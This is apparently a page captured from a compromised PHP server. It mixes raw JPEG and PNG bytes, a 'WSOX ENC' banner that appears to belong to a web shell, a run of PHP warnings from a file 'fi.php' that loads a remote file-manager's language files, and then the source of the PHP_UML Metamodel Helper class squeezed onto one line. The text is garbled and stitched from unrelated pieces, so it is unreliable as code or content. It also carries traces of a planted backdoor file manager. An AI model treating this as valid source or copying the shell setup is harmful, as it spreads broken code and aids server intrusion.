1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
* @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 * @version SVN: $Revision: 175 $ * @link http://pear.php.net/package/PHP_UML * @link http://www.omg.org/mof/ * @since $Date: 2011-09-15 17:07:58 +0200 (jeu., 15 sept. 2011) $ * */ /** * Helper class to deal with Metamodel elements. * * @category PHP * @package PHP_UML * @subpackage Metamodel * @author Baptiste Autin * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 */ class PHP_UML_Metamodel_Helper { const META_INTERFACE = 'PHP_UML_Metamodel_Interface'; const META_CLASS = 'PHP_UML_Metamodel_Class'; const META_DATATYPE = 'PHP_UML_Metamodel_Datatype'; const META_OPERATION = 'PHP_UML_Metamodel_Operation'; const META_PROPERTY = 'PHP_UML_Metamodel_Property'; const PHP_PROFILE_NAME = 'php'; const PHP_STEREOTYPE_DOCBLOCK = 'docblock'; /** * Deletes all empty packages * * @param PHP_UML_Metamodel_Package &$ns Top package */ static public function deleteEmptyPackages(PHP_UML_Metamodel_Package &$ns) { if (!is_null($ns->nestedPackage)) { foreach ($ns->nestedPackage as $key => &$pkg) { if (self::isEmpty($pkg)) { unset($ns->nestedPackage[$key]); } else { if (self::deleteEmptyPackages($pkg)) { unset($ns->nestedPackage[$key]); } } } if (self::isEmpty($ns)) { return true; } } return false; } /** * Checks if a package is empty * * @param PHP_UML_Metamodel_Package $p Top package */ static private function isEmpty(PHP_UML_Metamodel_Package $p) { return empty($p->nestedPackage) && empty($p->ownedType) && empty($p->ownedOperation) && empty($p->ownedAttribute); } /** * Searches in a given package for a typed element (likely, a class) * * @param PHP_UML_Metamodel_Package $ns A package element * @param string $value A name * * @return mixed Either FALSE if not found, or the element */ public static function searchTypeIntoPackage(PHP_UML_Metamodel_Package $ns, $value) { foreach ($ns->ownedType as $key => &$o) { if (strcasecmp($o->name, $value)==0) { return $o; } } return false; } /** * Searches if an operation already exists in a given pkg * * @param PHP_UML_Metamodel_Package $ns A package element * @param string $value A name * * @return mixed Either FALSE if not found, or the element */ static public function searchOperationIntoPackage(PHP_UML_Metamodel_Package $ns, $value) { foreach ($ns->ownedOperation as $key => &$o) { if (strcasecmp($o->name, $value)==0) { return $o; } } return false; } /** * Searches if an attribute already exists in a given pkg * * @param PHP_UML_Metamodel_Package $ns A package element * @param string $value A name * * @return mixed Either FALSE if not found, or the element */ public static function searchAttributeIntoPackage(PHP_UML_Metamodel_Package $ns, $value) { foreach ($ns->ownedAttribute as $key => &$o) { if (strcasecmp($o->name, $value)==0) { return $o; } } return false; } /** * Retrieves a particular tag in a given stereotype * * @param PHP_UML_Metamodel_Stereotype $s The stereotype * @param string $tagName The tag name (eg "description") * * @return PHP_UML_Metamodel_Tag */ public static function getStereotypeTag(PHP_UML_Metamodel_Stereotype $s, $tagName) { if (!empty($s)) { foreach ($s->ownedAttribute as $tag) { if ($tag->name == $tagName) return $tag; } } return null; } /** * Searches recursively in a given package for an element, knowing its ID * * @param PHP_UML_Metamodel_Package $np A package element (context) * @param string $value An ID * * @return mixed Either FALSE if not found, or the position in the stack */ public static function findTypeById(PHP_UML_Metamodel_Package $np, $value) { if ($np->id == $value) return $np; foreach ($np->ownedType as $item) { if ($item->id == $value) return $item; } foreach ($np->ownedAttribute as $item) { if ($item->id == $value) return $item; } foreach ($np->ownedOperation as $item) { if ($item->id == $value) return $item; } foreach ($np->nestedPackage as $item) { $ret = self::findTypeById($item, $value); if (!($ret === false)) return $ret; } return false; } /** * Searches recursively in a given package for a package, knowing its name * Works with position numbers, not variable references. * * @param PHP_UML_Metamodel_Package $np A package element (context) * @param string $value A package name (to find) * * @return mixed Either FALSE if not found, or the position in the stack */ public static function findSubpackageByName(PHP_UML_Metamodel_Package $np, $value) { foreach ($np->nestedPackage as $pkg) { if (strcasecmp($pkg->name, $value)==0) { return $pkg; } } return false; } /** * Splits a package path into its first/last element, and the rest * Allows for the two different versions of package delimiter * * @param string $path A path to split * @param bool $modeFirst If true, splits into 1st and the rest * If false, splits into last and the rest * @param string $alt Alternate separator (eg, /, or ::) * * @return array Results array */ static public function getPackagePathParts($path, $modeFirst = true, $alt=PHP_UML_Input_PHP_Parser::T_NS_SEPARATOR2) { $first = ''; $last = ''; if ($modeFirst) { $pos1 = strpos($path, PHP_UML_Input_PHP_Parser::T_NS_SEPARATOR); $pos2 = strpos($path, $alt); if ($pos1!==false && ($pos1<$pos2 || $pos2===false)) { $pos = $pos1; $len = strlen(PHP_UML_Input_PHP_Parser::T_NS_SEPARATOR); } else { $pos = $pos2; $len = strlen($alt); } } else { $pos1 = strrpos($path, PHP_UML_Input_PHP_Parser::T_NS_SEPARATOR); $pos2 = strrpos($path, $alt); if ($pos1!==false && ($pos1>$pos2 || $pos2===false)) { $pos = $pos1; $len = strlen(PHP_UML_Input_PHP_Parser::T_NS_SEPARATOR); } else { $pos = $pos2; $len = strlen($alt); } } if ($pos===false) $first = $path; else { $first = substr($path, 0, $pos); $last = substr($path, $pos+$len); } return array($pos, $first, $last); } } ?>